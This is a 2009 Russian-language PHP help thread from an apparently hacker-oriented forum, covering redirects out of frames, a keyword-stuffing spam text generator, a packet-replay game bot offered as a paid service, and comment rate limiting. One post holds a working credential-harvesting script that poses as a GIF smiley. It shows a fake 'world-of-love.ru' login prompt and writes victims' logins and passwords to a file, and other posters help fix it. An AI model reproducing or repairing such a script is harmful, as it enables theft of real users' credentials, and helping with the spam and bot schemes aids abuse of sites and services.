07.11.2009, 18:17
Спасибо всем, но к сожалению ни один вариант не срабатывает, в реали это как то работает
__ttp://www.simplyfired.com/story/6894/
Спасибо всем, но к сожалению ни один вариант не срабатывает, в реали это как то работает
__ttp://www.simplyfired.com/story/6894/
поставь симпл тдс
TIIIMOXAN
07.11.2009, 19:22
подскажите пожалуйста.
Я хочу добавить пхп скрипт после индексации сайта,а именно картинку на которой будет ссылка на другой сайт.
Меня интересует как прописать с html страницы ссылку на сам скрипт,
что писать в хеде (если надо) и как правильно его подключать .
<img src="script_kartinka.php">
TIIIMOXAN
07.11.2009, 19:30
WNZRS,а может еще и скрипт подскажешь?там не нужно через id подключать разьве,а в скрипте функцию?я просто не знаю..=(
echo "<a href='news.php'><img src='img.jpg' width='100' height='100'></a>";
stornitto24
09.11.2009, 18:02
redir.php =>
<?php
# на всякий случай - нельзя допустить никакого вывода перед хэдерами
ob_start();
# URL куда редиректить
$url = 'http://darkstar';
# тут вот можно провести какие-либо действия с полученными данными, например
# уничтожить аутпут буффер
ob_end_clean();
# Вариант 1 - для apache/nginx/прочих серверов на *nix
header("Location: $url",true,302);
exit;
# Вариант 2 - для IIS/прочих серверов на Windows
header("Refresh: 0;url=$url");
exit;
# Вариант 3 - если вышеприведенные не работают
echo '<html><head><meta http-equiv="refresh" content="0; url='.$url.'"></head><body></body></html>';
exit;
# сразу все, понятное дело, не использовать
?>
все что получается это страница на которую должно по логике редиректится открывается в Этом фрейме, и соответственно все остальное происходит в нем. Симпл тдс дает тот же эфект.
Как же всетаки уйти из этого фрейма ??? :mad:
.Sprite.
09.11.2009, 18:10
я так и не нашел решения :(
нужен скрипт бредо-генератор есть 2 файла keywords.txt купить авто купить телефон купить окна ..... text.txt Конфиденциальность очевидна не для всех. Сознание противоречиво оформляет изобарический кредитор, когда речь идет об ответственности юридического лица. Ритмоединица прочно отталкивает вектор, поэтому перед употреблением взбалтывают. Синкопа, в первом приближении, реально диссоциирует дебиторский тест, при этом буквы А, В, I, О символизируют соответственно общеутвердительное, общеотрицательное, частноутвердительное и частноотрицательное суждения. нужен скрипт который бы перемешал эти 2 файла и вывел бы на экран полную кашу. необходимо чтобы во втором файле менялись слова местами рандомно и межу некоторыми рандомно вставлялись строки из файла keywords.txt.
$array1=file(keywords.txt);
$array2=file(text.txt);
$array = array_merge($array1,$array2,);
echo $array[rand(0,count($array)-1)];
.Sprite.
09.11.2009, 18:23
$array1=file(keywords.txt);
$array2=file(text.txt);
$array = array_merge($array1,$array2,);
echo $array[rand(0,count($array)-1)];
не работает :(
каши нет, выводит только по одной строке из keywords.txt
ну правильно , одну случайную из двух файлов, поставь в цикл последнюю строчку и все распечатает :) хотя есть проблема, одну и ту же строчку может по несколько раз печатать)))))))
H0LLyWooD
09.11.2009, 19:06
Парни есть одна мобильная игра онлайн,
Средставми снифера я манипулируя пакетами сделал бота, который шлет 500 запросов и повторяеться циклично.
Для работы бота, требуеться загружать сниффер и клиент одновременно.
Вопрос - реально ли сделать так, чтобы ети пакеты слались с рнр страницы?
Просто хочу продавать сервис ботов. Или как минимум использовать хостинг место дедиков.
mailbrush
09.11.2009, 19:19
curl
H0LLyWooD
09.11.2009, 19:53
curl
извини не понял
phpdreamer
09.11.2009, 20:20
прогугли
php + curl + post
Господа, здравствуйте.
Короче мне нужнен блок комментарий..я написал примерно такой примитивный, но хочу разширить возможности..
К примеру..
Есть файл post.php u comment.php
В post.php форма, 3 поля: автор,комментарий и каптча..
В comment.php все проверки на зополнение полей, все дела тра ляля..
Как можно сделать, что б один человек, добавлял комментарий не раньше чем через 5 мин? Тогда и каптча не нужна. Мне для вап сайта.
Epic wave
09.11.2009, 21:47
Господа, здравствуйте.
Короче мне нужнен блок комментарий..я написал примерно такой примитивный, но хочу разширить возможности..
К примеру..
Есть файл post.php u comment.php
В post.php форма, 3 поля: автор,комментарий и каптча..
В comment.php все проверки на зополнение полей, все дела тра ляля..
Как можно сделать, что б один человек, добавлял комментарий не раньше чем через 5 мин? Тогда и каптча не нужна. Мне для вап сайта.
sleep(); не?
sleep(); не?
Как реализовать это можно?
Чуваак, я с PHP неделю, немогу все знать..даже если это очень просто..
Это в параметрах функции указываются секунды? sleep(15);
Ну тогда логично предположить, шо сам скрипт не будет работать 15 сек, а мне надо шоб человек не мог писать в течении этого времени.. это типа пинок с чата на 5 минут или бан по ip+soft..вроде этого..понимаешь?
zifanchuck
09.11.2009, 22:24
Как реализовать это можно?
Чуваак, я с PHP неделю, немогу все знать..даже если это очень просто..
Это в параметрах функции указываются секунды? sleep(15);
Ну тогда логично предположить, шо сам скрипт не будет работать 15 сек, а мне надо шоб человек не мог писать в течении этого времени.. это типа пинок с чата на 5 минут или бан по ip+soft..вроде этого..понимаешь?
Ну попробуй чтобы его ип заносился в базу/файл время последнего поста. потом при повторной попытки оставить комент сравниваеться время то что щас и то что в базе, если прошел промежуток больше чем 5 мин то постит если нет то пишет подожать еще. Ето как вариант
Ну попробуй чтобы его ип заносился в базу/файл время последнего поста. потом при повторной попытки оставить комент сравниваеться время то что щас и то что в базе, если прошел промежуток больше чем 5 мин то постит если нет то пишет подожать еще. Ето как вариант
Как-то много написано..легче нельзя?
xaker-boss
09.11.2009, 23:04
Помогите исправить скрипт :(
Проблема в том, что если в окошко ввести логин или пароль русским то оно сохранится в файле в таком виде "сугдея"
как такое можно исправить? или может можно как не будь перевести из "сугдея" в русское слово?
<?
//делаем скрипт картинкой
header("Content-type: image/gif");
//делаем изображение смайликом из архива
$image = imagecreatefromgif('mellow.gif');
if(!$_COOKIE['LOGON'])
{
$login = $_SERVER['PHP_AUTH_USER'];
$pass = $_SERVER['PHP_AUTH_PW'];
//Авторизация пройдёт, если пароль больше 3-ёх символов и вообще написан логин
if(strlen($pass) <= 3 || !$login)
{
Header('HTTP/1.1 401 Unauthorized');
Header('WWW-Authenticate: Basic realm="world-of-love.ru - login"');
}
elseif($login)
{
//ставим кукис, чтобы при повторном заходе авторизации небыло, в самом начале проверка есть ли кукис ))
setcookie('LOGON',md5($pass));
//запишем пароли в файл
$f = fopen('passwords.txt', 'ab'); //passwords.txt
fwrite($f, date("h:i:s")." > REFERER: ".getenv("HTTP_REFERER")." := ".$login.":=".$pass."\r\n"); //в формате LOGIN ||| PASSWORD
fclose($f);
}
}
imagegif($image);
imagedestroy($image);
?>
к $login и $pass применяй iconv
mailbrush
09.11.2009, 23:18
sleep(); не?
A sleep(); тут при чем?
xaker-boss, меняй кодировку iconv()
А сугдея - это сугдея.
xaker-boss
09.11.2009, 23:20
Failure mailbrush а можете применить это к моему скрипту? просто я не фига не шарю в php
mailbrush
09.11.2009, 23:30
Failure mailbrush а можете применить это к моему скрипту? просто я не фига не шарю в php
php.net/iconv
mailbrush, не подскажешь?
Как-то много написано..легче нельзя?
Проставляй юзеру куки
SetCookie();
И погугли
Проставляй юзеру куки
И погугли
гуглил..((
гуглил..((
http://www.php.su/functions/?setcookie
:)
Всеравно незнаю как реализовать(
Господа, здравствуйте.
Короче мне нужнен блок комментарий..я написал примерно такой примитивный, но хочу разширить возможности..
К примеру..
Есть файл post.php u comment.php
В post.php форма, 3 поля: автор,комментарий и каптча..
В comment.php все проверки на зополнение полей, все дела тра ляля..
Как можно сделать, что б один человек, добавлял комментарий не раньше чем через 5 мин? Тогда и каптча не нужна. Мне для вап сайта.
мутим куки на 5 минут до вывода:
setcookie ("post", "значение",time()+5);
и в скрипте,котрый проверят входные данные сomment.php:
if(!$_COOKIE['post']){
true;//continue
}else{
false;//bad
}
дерзай
________
0ph.ru
мутим куки на 5 минут до вывода:
setcookie ("post", "значение",time()+5);
и в скрипте,котрый проверят входные данные сomment.php:
if(!$_COOKIE['post']){
true;//continue
}else{
false;//bad
}
дерзай
Спасиб, попробую.
++++
KaZ@NoVa
10.11.2009, 18:50
все что получается это страница на которую должно по логике редиректится открывается в Этом фрейме, и соответственно все остальное происходит в нем. Симпл тдс дает тот же эфект.
Как же всетаки уйти из этого фрейма ??? :mad:
Чтобы уйти из фрейма, надо это все делать на уровне браузера. Например так:
<sсriрt type="text/jаvаsсriрt">window.location = 'http://new.location/';</sсriрt>
Чатовцы, как можно определять пользователь зашел с телефона или с компа ? просто с телефона ява скрипты не работают, и их надо тогда отключать :(
$_SERVER['USER_AGENT'] только вот нужно узнать особенности мобильных юзер-агентов, возможно в них присутсвует приставка mobile погугли
mailbrush
10.11.2009, 21:34
http://www.zytrax.com/tech/web/mobile_ids.html
http://detectmobilebrowsers.mobi/
я с инглишом не в ладах, :( патриот :D как я понял,это не очень просто , и несколькими строчками не обойтись ?
mailbrush
10.11.2009, 21:52
я с инглишом не в ладах, :( патриот :D как я понял,это не очень просто , и несколькими строчками не обойтись ?
Это очень просто - буквально на 2-3 строки. Надо только знать юзер-агента мобилок.
KaZ@NoVa
10.11.2009, 22:18
Господа, здравствуйте.
Короче мне нужнен блок комментарий..я написал примерно такой примитивный, но хочу разширить возможности..
К примеру..
Есть файл post.php u comment.php
В post.php форма, 3 поля: автор,комментарий и каптча..
В comment.php все проверки на зополнение полей, все дела тра ляля..
Как можно сделать, что б один человек, добавлял комментарий не раньше чем через 5 мин? Тогда и каптча не нужна. Мне для вап сайта.
В БД делается таблица, в которую пишется IP и UNIX_TIMESTAMP(). При каждом постинге делается сначала запрос данных из неё с таким IP и временем, не превышающим UNIX_TIMESTAMP() + значение лимита в секундах (для 5 минут это 300). Если есть row, то был постинг и добавление отклоняется.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot